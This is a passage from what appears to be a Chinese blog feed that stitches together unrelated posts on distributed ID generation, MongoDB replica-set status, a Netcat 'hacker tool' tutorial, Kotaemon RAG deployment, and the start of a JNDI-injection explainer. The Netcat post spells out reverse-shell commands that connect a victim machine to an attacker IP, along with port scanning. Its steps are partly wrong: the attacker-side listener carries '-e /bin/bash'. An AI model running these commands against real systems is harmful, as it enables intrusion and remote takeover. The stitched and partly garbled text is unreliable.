分类 其它 下的文章

前言

分布式ID,在我们日常的开发中,其实使用的挺多的。

有很多业务场景在用,比如:

  1. 分布式链路系统的trace_id
  2. 单表中的主键
  3. Redis中分布式锁的key
  4. 分库分表后表的id

今天跟大家一起聊聊分布式ID的一些常见方案,希望对你会有所帮助。

1 UUID

UUID (Universally Unique IDentifier) 通用唯一识别码 ,也称为 GUID (Globally Unique IDentifier) 全球唯一标识符。

UUID是一个长度为128位的标志符,能够在时间和空间上确保其唯一性。

UUID最初应用于Apollo网络计算系统,随后在Open Software Foundation(OSF)的分布式计算环境(DCE)中得到应用。

可让分布式系统可以不借助中心节点,就可以生成唯一标识, 比如唯一的ID进行日志记录。

UUID是基于时间戳、MAC地址、随机数等多种因素生成,理论上全球范围内几乎不可能重复。

在Java中可以通过UUID的randomUUID方法获取唯一字符串:

import java.util.UUID;

/**
 * @author 苏三
 * @date 2024/9/13 上午10:38
 */
public class UuidTest {
    public static void main(String[] args) {
        String uuid = UUID.randomUUID().toString();
        System.out.println(uuid);
    }
}

运行结果:

22527933-d0a7-4c2b-a377-aeb438a31b02

优点:UUID不借助中心节点,可以保持程序的独立性,可以保证程序在不同的数据库之间,做数据迁移,都不受影响。

缺点:UUID生成的字符串太长,通过索引查询数据的效率比较低。此外,UUID生成的字符串,顺序没有保证,不是递增的,不满足工作中的有些业务场景。

在分布式日志系统或者分布式链路跟踪系统中,可以使用UUID生成唯一标识,用于串联请求的日志。

2 数据库自增ID

在很多数据库中自增的主键ID,数据库本身是能够保证唯一的。

MySQL中的auto_increment。

Oracle中sequence。

我们在业务代码中,不需要做任何处理,这个ID的值,是由数据库自动生成的,并且它会保证数据的唯一性。

优点:非常简单,数据查询效率非常高。

缺点:只能保证单表的数据唯一性,如果跨表或者跨数据库,ID可能会重复。ID是自增的,生成规则很容易被猜透,有安全风险。ID是基于数据库生成的,在高并发下,可能会有性能问题。

在一些老系统或者公司的内部管理系统中,可能会用数据库递增ID作为分布式ID的方案,这些系统的用户并发量一般比较小,数据量也不多。

3 数据库号段模式

在高并发的系统中,频繁访问数据库,会影响系统的性能。

可以对数据库自增ID方案做一个优化。

一次生成一定步长的ID,比如:步长是1000,每次数据库自增1000,ID值从100001变成了101001。


将100002~101001这个号段的1000个ID,缓存到服务器的内存从。

当有获取分布式ID的请求过来时,先从服务器的内存中获取数据,如果能够获取到,则直接返回。

如果没有获取到,则说明缓存的号段的数据已经被获取完了。

这时需要重新从数据库中获取一次新号段的ID,缓存到服务器的内存中,这样下次又能直接从内存中获取ID了。

优点:实现简单,对数据库的依赖减弱了,可以提升系统的性能。

缺点:ID是自增的,生成规则很容易被猜透,有安全风险。如果数据库是单节点的,有岩机的风险。

4 数据库的多主模式

为了解决上面单节点岩机问题,我们可以使用数据库的多主模式。

即有多个master数据库实例。

在生成ID的时候,一个请求只能写入一个master实例。

为了保证在不同的master实例下ID的唯一性,我们需要事先规定好每个master下的大的区间,比如:master1的数据是10开头的,master2的数据是11开头的,master3的数据是12开头的。

然后每个master,还是按照数据库号段模式来处理。

优点:避免了数据库号段模式的单节点岩机风险,提升了系统的稳定性,由于结合使用了号段模式,系统性能也是OK的。

缺点:跨多个master实例下生成的ID,可能不是递增的。

5 Redis生成ID

除了使用数据库之外,Redis其实也能产生自增ID。

我们可以使用Redis中的incr命令:

redis> SET ID_VALUE 1000
OK

redis> INCR ID_VALUE
(integer) 1001

redis> GET ID_VALUE 
"1001"

给ID_VALUE设置了值是1000,然后使用INCR命令,可以每次都加1。

这个方案跟我们之前讨论过的方案1(数据库自增ID)的方案类似。

优点:方案简单,性能比方案1更好,避免了跨表或者跨数据库,ID重复的问题。

缺点:ID是自增的,生成规则很容易被猜透,有安全风险。并且Redis可能也存在单节点,岩机的风险。

6 Zookeeper生成ID

Zookeeper主要通过其znode数据版本来生成序列号,可以生成32位和64位的数据版本号,客户端可以使用这个版本号来作为唯一的序列号。

由于需要高度依赖Zookeeper,并且是同步调用API,如果在竞争较大的情况下,需要考虑使用分布式锁。

因此,性能在高并发的分布式环境下,也不太理想。

很少人会使用Zookeeper来生成唯一ID。

7 雪花算法

Snowflake(雪花算法)是Twitter开源的分布式ID算法。

核心思想:使用一个 64 bit 的 long 型的数字作为全局唯一 id。

最高位是符号位,始终为0,不可用。

41位的时间序列,精确到毫秒级,41位的长度可以使用69年。时间位还有一个很重要的作用是可以根据时间进行排序。

10位的机器标识,10位的长度最多支持部署1024个节点

12位的计数序列号,序列号即一系列的自增id,可以支持同一节点同一毫秒生成多个ID序号,12位的计数序列号支持每个节点每毫秒产生4096个ID序号。

优点:算法简单,在内存中进行,效率高。高并发分布式环境下生成不重复ID,每秒可生成百万个不重复ID。
基于时间戳,以及同一时间戳下序列号自增,基本保证ID有序递增。并且不依赖第三方库或者中间件,稳定性更好。

缺点:依赖服务器时间,服务器时钟回拨时可能会生成重复ID。

8 Leaf

Leaf是美团开源的分布式ID生成系统,它提供了两种生成ID的方式:

  • Leaf-segment号段模式
  • Leaf-snowflake雪花算法

Leaf-segment号段模式,需要创建一张表:

这个模式就是我们在第3节讲过的数据库号段模式。

biz_tag用来区分业务,max_id表示该biz_tag目前所被分配的ID号段的最大值,step表示每次分配的号段长度。

原来获取ID每次都需要写数据库,现在只需要把step设置得足够大,比如1000。那么只有当1000个号被消耗完了之后才会去重新读写一次数据库。

Leaf-snowflake雪花算法,是在传统雪花算法之上,加上Zookeeper,做了一点改造:

Leaf-snowflake服务需要从Zookeeper按顺序的获取workId,会缓存到本地。

如果Zookeeper出现异常,Leaf-snowflake服务会直接获取本地的workId,它相当于对Zookeeper是弱依赖的。

因为这种方案依赖时间,如果机器的时钟发生了回拨,那么就会有可能生成重复的ID号,它内部有一套机制解决机器时钟回拨的问题:

如果你想知道美团Leaf的更多细节,可以看看Github地址:
https://github.com/Meituan-Dianping/Leaf

最近整理了一份10万字的面试宝典,可以免费送给大家,获取方式加我微信:su_san_java,备注:面试。

9 Tinyid

Tinyid是滴滴用Java开发的一款分布式id生成系统,基于数据库号段算法实现。

Tinyid是在美团的ID生成算法Leaf的基础上扩展而来,支持数据库多主节点模式,它提供了REST API和JavaClient两种获取方式,相对来说使用更方便。

但跟美团Leaf不同的是,Tinyid只支持号段一种模式,并不支持Snowflake模式。

基于数据库号段模式的简单架构方案:

ID生成系统向外提供http服务,请求经过负载均衡router,能够路由到其中一台tinyid-server,这样就能从事先加载好的号段中获取一个ID了。

如果号段还没有加载,或者已经用完了,则需要向db再申请一个新的可用号段,多台server之间因为号段生成算法的原子性,而保证每台server上的可用号段不重,从而使id生成不重。

但也带来了这些问题:

  • 当id用完时需要访问db加载新的号段,db更新也可能存在version冲突,此时id生成耗时明显增加。
  • db是一个单点,虽然db可以建设主从等高可用架构,但始终是一个单点。
  • 使用http方式获取一个id,存在网络开销,性能和可用性都不太好。

为了解决这些这些问题:增加了tinyid-client本地生成ID、使用双号段缓存、增加多 db 支持提高服务的稳定性。

最终的架构方案如下:

Tinyid方案主要做了下面这些优化:

  • 增加tinyid-client:tinyid-client向tinyid-server发送请求来获取可用号段,之后在本地构建双号段、id生成,如此id生成则变成纯本地操作,性能大大提升。
  • 使用双号段缓存:为了避免在获取新号段的情况下,程序获取唯一ID的速度比较慢。Tinyid中的号段在用到一定程度的时候,就会去异步加载下一个号段,保证内存中始终有可用号段。
  • 增加多db支持:每个DB都能生成唯一ID,提高了可用性。

如果你想知道滴滴Tinyid的更多细节,可以看看Github地址:
https://github.com/didi/tinyid

10 UidGenerator

百度 UID-Generator 使用 Java 语言,基于雪花算法实现。

UidGenerator以组件形式工作在应用项目中, 支持自定义workerId位数和初始化策略, 从而适用于docker等虚拟化环境下实例自动重启、漂移等场景。

在实现上, UidGenerator通过借用未来时间来解决sequence天然存在的并发限制。

采用RingBuffer来缓存已生成的UID, 并行化UID的生产和消费, 同时对CacheLine补齐,避免了由RingBuffer带来的硬件级「伪共享」问题. 最终单机QPS可达600万。

Snowflake算法描述:指定机器 & 同一时刻 & 某一并发序列,是唯一的。据此可生成一个64 bits的唯一ID(long)。默认采用上图字节分配方式:

  • sign(1bit):固定1bit符号标识,即生成的UID为正数。
  • delta seconds (28 bits) :当前时间,相对于时间基点"2016-05-20"的增量值,单位:秒,最多可支持约8.7年
  • worker id (22 bits):机器id,最多可支持约420w次机器启动。内置实现为在启动时由数据库分配,默认分配策略为用后即弃,后续可提供复用策略。
  • sequence (13 bits):每秒下的并发序列,13 bits可支持每秒8192个并发。

sequence决定了UidGenerator的并发能力,13 bits的 sequence 可支持 8192/s 的并发,但现实中很有可能不够用,从而诞生了 CachedUidGenerator。

CachedUidGenerator 使用 RingBuffer 缓存生成的id。RingBuffer是个环形数组,默认大小为 8192 个(可以通过boostPower参数设置大小)。

RingBuffer环形数组,数组每个元素成为一个 slot。

Tail 指针、Cursor 指针用于环形数组上读写 slot:

  • Tail指针:表示 Producer 生产的最大序号(此序号从 0 开始,持续递增)。Tail 不能超过 Cursor,即生产者不能覆盖未消费的 slot。当 Tail 已赶上 curosr,此时可通过 rejectedPutBufferHandler 指定 PutRejectPolicy。
  • Cursor指针:表示 Consumer 消费到的最小序号(序号序列与 Producer 序列相同)。Cursor 不能超过 Tail,即不能消费未生产的 slot。当 Cursor 已赶上 tail,此时可通过 rejectedTakeBufferHandler 指定 TakeRejectPolicy。

RingBuffer填充触发机制:

  • 程序启动时,将RingBuffer填充满。
  • 在调用getUID()方法获取id时,如果检测到RingBuffer中的剩余id个数小于总个数的50%,将RingBuffer填充满。
  • 定时填充(可配置是否使用以及定时任务的周期)。

如果你想知道百度uid-generator的更多细节,可以看看Github地址:
https://github.com/baidu/uid-generator

最后说一句(求关注,别白嫖我)

如果这篇文章对您有所帮助,或者有所启发的话,帮忙扫描下发二维码关注一下,您的支持是我坚持写作最大的动力。

求一键三连:点赞、转发、在看。
关注公众号:【苏三说技术】,在公众号中回复:面试、代码神器、开发手册、时间管理有超赞的粉丝福利,另外回复:加群,可以跟很多BAT大厂的前辈交流和学习。

转载请注明出处:

rs.status()
命令用于获取MongoDB副本集的状态信息。它提供了关于副本集中各个节点的详细信息,包括节点的健康状况、角色、选举状态等。

以下是查看一个mongo集群状态返回的参数:

rs0:PRIMARY>rs.status()
{
"set" : "rs0","date" : ISODate("2024-09-14T06:44:36.882Z"),"myState" : 1,"term" : NumberLong(510),"syncingTo" : "","syncSourceHost" : "","syncSourceId" : -1,"heartbeatIntervalMillis" : NumberLong(2000),"majorityVoteCount" : 2,"writeMajorityCount" : 2,"optimes": {"lastCommittedOpTime": {"ts" : Timestamp(0, 0),"t" : NumberLong(-1)
},
"lastCommittedWallTime" : ISODate("1970-01-01T00:00:00Z"),"appliedOpTime": {"ts" : Timestamp(1726296270, 1),"t" : NumberLong(510)
},
"durableOpTime": {"ts" : Timestamp(1726296270, 1),"t" : NumberLong(510)
},
"lastAppliedWallTime" : ISODate("2024-09-14T06:44:30.859Z"),"lastDurableWallTime" : ISODate("2024-09-14T06:44:30.859Z")
},
"lastStableRecoveryTimestamp" : Timestamp(1725300368, 3),"lastStableCheckpointTimestamp" : Timestamp(1725300368, 3),"electionCandidateMetrics": {"lastElectionReason" : "electionTimeout","lastElectionDate" : ISODate("2024-09-14T06:28:20.630Z"),"electionTerm" : NumberLong(510),"lastCommittedOpTimeAtElection": {"ts" : Timestamp(0, 0),"t" : NumberLong(-1)
},
"lastSeenOpTimeAtElection": {"ts" : Timestamp(1726284227, 1),"t" : NumberLong(509)
},
"numVotesNeeded" : 2,"priorityAtElection" : 2,"electionTimeoutMillis" : NumberLong(10000),"numCatchUpOps" : NumberLong(0),"newTermStartDate" : ISODate("2024-09-14T06:28:20.830Z")
},
"members": [
{
"_id" : 0,"name" : "mongo1:27017","health" : 1,"state" : 9,"stateStr" : "ROLLBACK","uptime" : 987,"optime": {"ts" : Timestamp(1726197065, 1),"t" : NumberLong(505)
},
"optimeDurable": {"ts" : Timestamp(1726197065, 1),"t" : NumberLong(505)
},
"optimeDate" : ISODate("2024-09-13T03:11:05Z"),"optimeDurableDate" : ISODate("2024-09-13T03:11:05Z"),"lastHeartbeat" : ISODate("2024-09-14T06:44:35.841Z"),"lastHeartbeatRecv" : ISODate("2024-09-14T06:44:36.665Z"),"pingMs" : NumberLong(0),"lastHeartbeatMessage" : "","syncingTo" : "mongo2:27017","syncSourceHost" : "mongo2:27017","syncSourceId" : 1,"infoMessage" : "","configVersion" : 1950478},
{
"_id" : 1,"name" : "mongo2:27017","health" : 1,"state" : 1,"stateStr" : "PRIMARY","uptime" : 990,"optime": {"ts" : Timestamp(1726296270, 1),"t" : NumberLong(510)
},
"optimeDate" : ISODate("2024-09-14T06:44:30Z"),"syncingTo" : "","syncSourceHost" : "","syncSourceId" : -1,"infoMessage" : "","electionTime" : Timestamp(1726295300, 1),"electionDate" : ISODate("2024-09-14T06:28:20Z"),"configVersion" : 1950478,"self" : true,"lastHeartbeatMessage" : ""},
{
"_id" : 2,"name" : "mongo3:27017","health" : 1,"state" : 2,"stateStr" : "SECONDARY","uptime" : 987,"optime": {"ts" : Timestamp(1726197065, 1),"t" : NumberLong(505)
},
"optimeDurable": {"ts" : Timestamp(1726197065, 1),"t" : NumberLong(505)
},
"optimeDate" : ISODate("2024-09-13T03:11:05Z"),"optimeDurableDate" : ISODate("2024-09-13T03:11:05Z"),"lastHeartbeat" : ISODate("2024-09-14T06:44:34.930Z"),"lastHeartbeatRecv" : ISODate("1970-01-01T00:00:00Z"),"pingMs" : NumberLong(1),"lastHeartbeatMessage" : "","syncingTo" : "","syncSourceHost" : "","syncSourceId" : -1,"infoMessage" : "","configVersion" : 1829326}
],
"ok" : 1,"$clusterTime": {"clusterTime" : Timestamp(1726296270, 1),"signature": {"hash" : BinData(0,"AAAAAAAAAAAAAAAAAAAAAAAAAAA="),"keyId" : NumberLong(0)
}
},
"operationTime" : Timestamp(1726296270, 1)
}
rs0:PRIMARY
>

以下是
rs.status()
响应字段的意义及其对应值的整理:

字段 意义 示例值
set 副本集的名称 "rs0"
date 响应生成的时间 ISODate("2024-09-14T06:44:36Z")
myState 当前节点的状态(1: PRIMARY, 2: SECONDARY, 3: RECOVERING等):

常见的状态包括:


  • PRIMARY (1): 当前节点是主节点,负责处理所有写入操作。
  • SECONDARY (2): 当前节点是从节点,复制主节点的数据并提供读取服务。
  • ARBITER (7): 当前节点是仲裁者,不存储数据,仅参与选举过程。
  • OTHER (8): 当前节点的状态不属于上述任何一种,通常是由于配置或网络问题。
  • RECOVERING (9): 当前节点正在恢复中,通常是从不健康状态恢复。
  • DOWN (10): 当前节点不可用,可能是由于网络问题或故障。
  • STARTUP (11): 当前节点正在启动,尚未完成初始化。
  • STARTUP2 (12): 当前节点在启动的第二阶段,正在进行数据同步。
  • UNKNOWN (13): 当前节点的状态未知,可能是由于网络分区或其他问题。
1
term 当前选举周期 510
lastElectionReason 最近一次选举的原因 "electionTimeout"
members 副本集成员的详细信息 数组,包含各个节点的信息
health 节点的健康状态(1: 健康, 0: 不健康) 1
stateStr 节点的状态描述(如 PRIMARY, SECONDARY, ROLLBACK等) "SECONDARY"
uptime 节点的运行时间(秒) 987
optime 最近一次操作的时间戳 Timestamp(1726197065, 1)
optimeDurable 最近一次持久化操作的时间戳 Timestamp(1726197065, 1)
optimeDate 最近一次操作的日期 ISODate("2024-09-13T03:11:05Z")
optimeDurableDate 最近一次持久化操作的日期 ISODate("2024-09-13T03:11:05Z")
lastHeartbeat 最近一次心跳信号的时间 ISODate("2024-09-14T06:44:34.930Z")
lastHeartbeatRecv 最近一次接收到心跳信号的时间 ISODate("1970-01-01T00:00:00Z")
pingMs 节点的延迟(毫秒) NumberLong(1)
lastHeartbeatMessage 最近一次心跳的消息 ""
syncingTo 当前节点正在同步的目标节点 ""
syncSourceHost 当前节点的同步源主机 ""
syncSourceId 当前节点的同步源ID -1
infoMessage 额外的信息消息 ""
configVersion 配置版本号 1829326
$clusterTime 集群时间信息 包含
clusterTime

signature
operationTime 最近一次操作的时间 Timestamp(1726296270, 1)

使用场景

  • 故障排查: 当副本集出现问题时,使用
    rs.status()
    可以快速定位故障节点。
  • 性能监控: 定期检查副本集状态,以确保所有节点正常运行并及时发现性能瓶颈。
  • 维护操作: 在进行维护或升级操作前,确认副本集的健康状况。
  • 选举监控: 监控选举过程,确保主节点的选举和切换正常进行。

在网络安全领域,黑客工具一直备受关注。它们既可以被用于攻击,也可以用于防御。本文将为大家揭秘一款知名的黑客工具:
Netcat

1、Netcat是什么?

Netcat
被誉为“网络的瑞士军刀”,简称为
nc
,是一个功能丰富的网络工具。最早是一个简单的TCP/IP工具,用于在网络上传输数据。随着时间的推移,Netcat逐渐演化成一款功能强大的网络工具,支持多种网络协议,包括 TCP 和 UDP,能够在本地和远程计算机之间传输数据,实现网络连接、数据传输、端口扫描、反向Shell等多种功能。从本质上来说,它就像是一把瑞士军刀,能够在网络环境中执行各种复杂的任务。

2、Netcat主要功能特点

Netcat
被誉为网络安全领域的“瑞士军刀”,具有以下功能、特点:

1. 网络连接

Netcat
可以创建TCP或UDP连接,用于网络通信。无论是简单的聊天程序还是复杂的网络数据传输,Netcat都能轻松应对。通过简单的命令,用户可以在两台计算机之间建立连接,实现数据的实时传输。

2. 数据传输

Netcat
支持文件传输功能,用户可以通过Netcat在两台计算机之间传输文件。这一功能对于网络管理员和黑客来说非常有用,可以方便地在不同计算机之间共享文件。

3. 端口扫描

Netcat
还可以用于端口扫描,帮助用户发现目标计算机上开放的端口。通过扫描特定范围内的端口,用户可以了解目标计算机上运行的服务,进而进行安全评估或漏洞利用。

4. 反向Shell

在渗透测试中,Netcat常被用于创建反向Shell。通过反向连接,目标计算机主动连接到攻击者的计算机,绕过防火墙和NAT等限制,实现远程控制。这一功能对于黑客来说尤为重要,可以大大提高渗透测试的成功率。

5. 加密通信

虽然Netcat本身不提供加密功能,但用户可以通过结合其他工具(如OpenSSL)来实现加密通信。通过加密通信,用户可以保护传输数据的安全性,防止数据被截获或篡改。

3、Netcat适用场景

  • 网络安全测试、渗透测试
    : 在网络安全测试中,Netcat可以用于端口扫描、漏洞评估、渗透测试等多个环节。通过Netcat,测试人员可以全面了解目标系统的安全状况,发现潜在的安全隐患。
  • 系统管理
    : 对于系统管理员来说,Netcat是一款非常实用的工具。它可以用于远程管理计算机,执行shell命令、重启计算机等操作。此外,Netcat还可以用于监控网络流量、调试网络程序等。
  • 黑客攻击
    :虽然黑客攻击是非法行为,但了解黑客工具的使用方法和原理对于提高网络安全意识具有重要意义。Netcat作为黑客常用的工具之一,其强大的功能和灵活性使得它成为黑客攻击中的重要武器。然而,我们强调在合法和道德的前提下使用Netcat等黑客工具。

4、Netcat安装

在大多数
Linux
发行版中,
Netcat
通常已经预装。如果没有安装,可以通过包管理器进行安装。例如,在Debian/Ubuntu系统上,可以使用以下命令安装Netcat:

sudo apt-get update  
sudo apt-get install netcat


macOS
上,可以使用
Homebrew
进行安装:

brew install netcat

5、Netcat使用

Netcat
的基本语法如下:

nc [选项] [目标主机] [目标端口]

选项和参数可以根据具体操作进行调整。

示例一:创建TCP连接

Netcat能够创建任意类型的TCP或UDP连接。这意味着它可以被用来建立一个基本的聊天服务器,一个代理,甚至是一个自定义的协议模拟器。例如,通过使用简单的命令,用户就可以实现TCP端口的监听与数据传输:

1、步骤1:启动监听模式

在一台机器上,打开终端并执行以下命令来启动一个监听服务:

nc -l -p 12345

其中,-l 表示监听模式,-p 12345 指定监听端口为12345。

2、步骤2:连接到监听的主机

在另一台计算机上,使用以下命令连接到监听的主机(假设IP为192.168.1.100):

nc 192.168.1.100 12345

连接成功后,你可以在任一终端中输入文本,另一端会实时显示出来。

示例二:文件传输

Netcat
支持文件传输功能,基本用法:

(1)在发送端运行以下命令,发送文件:

nc -w 2 target_ip port < file.txt

(2)在接收端运行以下命令,接收文件:

nc -lvp port > file.txt

其中,-w参数表示超时时间,port表示端口号,file.txt为要传输的文件。

具体操作:

步骤1:发送文件

在作为监听方的计算机上,使用以下命令准备接收文件:

nc -l -p 12345 > received_file.txt

步骤2:发送文件

在另一台计算机上,使用以下命令发送文件:

nc 192.168.1.100 12345 < file_to_send.txt

其中,file_to_send.txt 是你要发送的文件名。在接收方终端,检查received_file.txt文件,确保文件传输成功。

示例三:端口扫描

端口扫描是网络安全测试的基础。Netcat可以快速扫描目标主机开放的端口,帮助用户发现潜在的安全隐患。以下是一个简单的端口扫描示例:

nc -zv target_ip 1-1000

该命令表示扫描目标IP地址的1-1000端口,-z参数表示仅扫描端口开放情况,不进行完整连接,-v参数表示显示详细信息。

使用以下命令扫描目标主机的端口(例如192.168.1.100):

nc -zv 192.168.1.100 1-1000

其中,-z 表示扫描模式,不发送数据;-v 显示详细信息。扫描结果将显示哪些端口是开放的。

示例四:创建反向Shell

例如,它可以通过以下命令非常简单地创建一个反向Shell:

nc -nv <攻击者IP> <攻击者端口> -e /bin/bash

这种反向Shell常被黑客用于在目标系统上执行任意命令。

步骤1:监听反向Shell

在攻击者的机器上,打开终端并输入:

nc -l -p 4444 -e /bin/bash

步骤2:连接反向Shell

在被攻击者的机器上,输入以下命令:

nc [攻击者IP] 4444 -e /bin/bash

一旦连接成功,攻击者将能够获得被攻击者机器的Shell访问权限。

示例五:远程控制

Netcat可以实现简单的远程控制功能。以下是一个示例:

1、在目标主机上运行以下命令,开启监听:

nc -lvp port

2、在攻击主机上运行以下命令,连接目标主机:

nc target_ip port

连接成功后,攻击主机可以发送命令,控制目标主机。

6、小结

Netcat
作为一款功能强大的网络工具,不仅在网络安全测试中扮演着重要角色,同时也需要被合理使用以防止恶意行为的发生。对于网络安全专业人员而言,深刻理解和掌握Netcat的使用方法,能够在攻防对抗中占据有利位置。

然而,值得强调的是,
Netcat
是一把双刃剑。尽管其强大和灵活,但同样可能被恶意利用。因此,对于网络安全专业人士来说,掌握Netcat的使用技巧既是确保网络安全的重要手段,也是提升自身技能的重要途径。

1.
背景


qiang~
这两周关注到一个很火的开源文档问答系统
Kotaemon
,从
8

28
日至今短短两周时间,
github
星标迅猛增长
10K
,因此计划深挖一下其中的原理及奥秘。

本篇主要是
Kotaemon
的简介信息,涉及到主要特点,与传统文档
RAG
的区别,如何部署、以及效果演示

后续内容会针对核心模块进行拆解研读,敬请期待
~

2.
简介

Kotaemon
是一个
RAG UI
页面,主要面向
DocQA
的终端用户和构建自己
RAG pipeline
的开发者

2.1
终端用户

1)
提供了一个基于
RAG
问答的简单且最小化的
UI
界面

2)
支持诸多
LLM API
提供商
(

OpenAI, Cohere)
和本地部署的
LLM(

ollama

llama-cpp-python)

2.2
开发者

1)
提供了一个构建
RAG
文档问答
pipeline
的框架

2)
使用
Gradio
开发,基于提供的
UI
可以自定义并查看
RAG pipeline
的运行过程

3.
主要特点

1)
托管自己的
QA Web UI:
支持多用户登录,支持文件私有或公开,支持与他人协助分享

2)
管理
LLM

Embedding
模型
:
支持本地
LLM
和流行的
API
提供商

3)
混合
RAG pipeline:
支持全文本和向量的混合检索,以及
re-ranking
来保障检索质量

4)
支持多模态文档:支持对含有图片及表格的
N
多个文档进行问答,支持多模态文档解析

5)
带有高级引文的文档预览
:
系统默认提供具体的引用信息,保障
LLM
回答的准确性。直接在浏览器内的
PDF
查阅器查看引文,并高亮显示。

6)
支持复杂推理方法:使用问题分解来回答复杂
/
多跳问题。支持使用
ReAct

ReWoo
及其他
Agent
进行推理

7)
可调节的设置
UI
:调整检索和生成过程的参数信息,包括检索过程和推理过程设置

4.
与传统文档
RAG
的区别

(1)

web ui
界面直接
PDF
预览,并通过
LLM
的引用回调方法高亮有关联的句子,极大地有助于仔细检查
LLM
的上下文

(2)
支持复杂推理方法。目标是支持更多的基于
Agent
的推理框架,如问题拆解、多跳问题、
React

ReWoo

(3)
支持在页面配置中更改
prompt
,也可以调整想要使用的检索和推理模块

(4)
扩展性好,基于
gradio
开发,可轻松添加或删除
UI
组件来自定义
RAG pipeline

5.
安装部署

5.1
终端用户

-
可在
github

release
页面下载最新的
kotaemon-app.zip
,并解压缩

-
进入
scripts
,根据系统安装,如
windows
系统双击
run_windows.bat

linux
系统
bash run_linux.sh

-
安装后,程序要求启动
ketem

UI
,回答
”继续”

-
如果启动,会自动在浏览器中打开,默认账户名和密码是
admin/admin

5.2
开发者

5.2.1
使用
Docker
安装推荐

#
运行

docker run -e GRADIO_SERVER_NAME=0.0.0.0 -e GRADIO_SERVER_PORT=7860 -p 7860:7860 -it --rm ghcr.io/cinnamon/kotaemon:latest

#
访问
ui
地址:
http://localhost:7860/

5.2.2
源码安装

#
创建虚拟环境

conda create -n kotaemon python=3.10

conda activate kotaemon

#
下载源码

git clone https://github.com/Cinnamon/kotaemon

cd kotaemon

#
安装依赖

pip install -e "libs/kotaemon[all]"

pip install -e "libs/ktem"

#
更新环境变量文件
.env
,如
API key

# (
可选
)
如果想浏览器内部展示
PDF
,可以下载
PDF_JS viewer
,解压到
libs/ktem/ktem/assets/prebuilt
目录

#
开启
web
服务,并使用
admin/admin
登录

python app.py

5.2.3
应用定制

应用数据默认保存在
./ktem_app_data
文件,如果想要迁移到新机器,只需将该文件夹拷贝即可。

为了高级用户或特殊用途,可以自定义
.env

flowsetting.py
文件

(1)flowsetting.py
设置

#
设置文档存储引擎
(
该引擎支持全文检索
)

KH_DOCSTORE=(Elasticsearch | LanceDB | SimpleFileDocumentStore)

#
设置向量存储引擎
(
支持向量检索
)

KH_VECTORSTORE=(ChromaDB | LanceDB | InMemory)

#
是否启用多模态
QA

KH_REASONINGS_USE_MULTIMODAL=True

#
添加新的推理
pipeline
或修改已有的

KH_REASONINGS = [

"ktem.reasoning.simple.FullQAPipeline",

"ktem.reasoning.simple.FullDecomposeQAPipeline",

"ktem.reasoning.react.ReactAgentPipeline",

"ktem.reasoning.rewoo.RewooAgentPipeline",

]

)

(2).env
设置

该文件提供另一种方式来设置模型和凭据。

#
可以设置
OpenAI
的连接

OPENAI_API_BASE=https://api.openai.com/v1

OPENAI_API_KEY=<your OpenAI API key here>

OPENAI_CHAT_MODEL=gpt-3.5-turbo

OPENAI_EMBEDDINGS_MODEL=text-embedding-ada-002

5.2.4
设置本地
LLM

Embedding
模型

(1)
推荐
Ollama OpenAI
兼容的服务

#
安装
ollama
并启动程序,可参考
https://github.com/ollama/ollama

#
拉取模型

ollama pull llama3.1:8b

ollama pull nomic-embed-text

(2)

Resources
页面中的
LLMs

Embedding
分别设置
LLM

Embedding

api_key: ollama

base_url: http://localhost:11434/v1/

model:
llama3.1:8b
(for llm) | nomic-embed-text (for embedding)

(3)
使用本地模型用于
RAG

1)
将本地
LLM

Embedding
模型设置为
default

2)

File Collection
中的
Embedding
设置为本地模型
(
例如
: ollama

3)

Retrieval Setting
页面,选择本地模型作为
LLM
相关得分模型。如果你的机器无法同时处理大量的
LLM
并行请求,可以不选中

Use LLM relevant scoring

4)
现在就可以上传文件进行文档问答体验了。

6.
效果体验

眼过千遍,不如手过一遍
~


qiang~
采用源码安装部署,使用
openai

LLM
模型
gpt-4o-mini

Embedding
模型
text-embedding-3-small(
如何使用免费版本的
openai
进行
api
体验,可以私信联系
~)
。其次,使用
MindSearch
的论文进行测试验证。

6.1
构建文档索引信息

6.1.1
上传文档

6.1.2
使用
simple
推理策略

simple
推理策略对应的
flowsettings.py
中的
FullQAPipeline
。问题
:
“what are the components of MindSearch?”,效果如下:

6.1.3
使用
complex
推理策略

complex
推理策略对应的
flowsettings.py
中的
FullDecomposeQAPipeline
,即将复杂问题拆分为简单子问题。问题
:
“Please describe the performance of MindSearch on both open-source and closed-source datasets.?”

6.1.4
使用
react
推理策略

React
是一种
RAG Agent
技术,将用户的问题进行计划设计,并迭代循环执行,满足特定结束调节。
React
可以结合工具进行调用,如搜索引擎、
Wiki
百科等。问题:
”Tell me somethong about 'University of Science and Technology of China'”

6.1.5
使用
ReWoo
推理策略

ReWoo
也是一种
RAG Agent
技术,第一阶段制订分步计划,第二阶段解决每个分步,也可以使用工具帮助推理过程,完成所有阶段后,
ReWoo
将总结答案。问题:
”Tell me somethong about 'University of Science and Technology of China' and 'shanghai ai Laboratory '”

6.2
构建
GraphRAG
索引信息

Kotaemon
集成了微软此前开源的
GraphRAG
框架,该框架包含图谱及索引构建、图谱检索等步骤。问题
:

the author

s of this paper

7.
总结

一句话足矣
~

本文主要针对开源文档问答系统
Kotaemon
的介绍,包括主要功能特点,与传统文档
RAG
的区别,部署教程以及效果体验等。

目前
Kotaemon
针对中文语言支持不友好,但既然可以通过
ollama
进行部署
LLM

Embedding
模型,因此支持中文语言也是相对容易开发集成的。

后续系列会针对该框架中的检索和推理模块做一个详细的源码维度分析,敬请期待
~

如果针对部署过程中存在疑问或部署不成功,或者想免费获取使用
openai
的客官,可私信沟通。

如有问题或者想要合作的客官,可私信沟通。

8.
参考

(1)
Kotaemon
仓库
: https://github.com/Cinnamon/kotaemon

前言

本篇文章初衷是在研究log4j2漏洞时候找不到一篇完整且能够真正让我理解漏洞根因的文章,导致我想写一篇通俗易懂能理解到底啥是JNDI注入,怎么lookup的。

当然不排除国外英文文章有很好的解释,但是我更希望有中文版本。

JNDI 注入简单理解

JNDI (Java Naming and Directory Interface)

JNDI注入可以归纳为后台在执行代码的时候,最终会执行到lookup函数,然后lookup函数传入的值是我们在请求或者其他方式能够控制的一个变量,再者lookup支持远程方法调用(RMI)、轻型目录访问协议(LDAP)、域名服务(DNS)。

定眼一看RMI、LDAP、DNS,肾上腺素拉满,这仨都可以配合JNDI注入进行(lookup)漏洞利用攻击。 所以这也就是为啥有很多攻击方式为:JNDI+RMI、JNDI+LDAP、JNDI+DNS,最具杀伤力的自然是rmi和ldap协议,能够远程绑定对象执行代码。(这里别蒙圈,知道这俩协议配合JNDI能够远程执行代码即可)

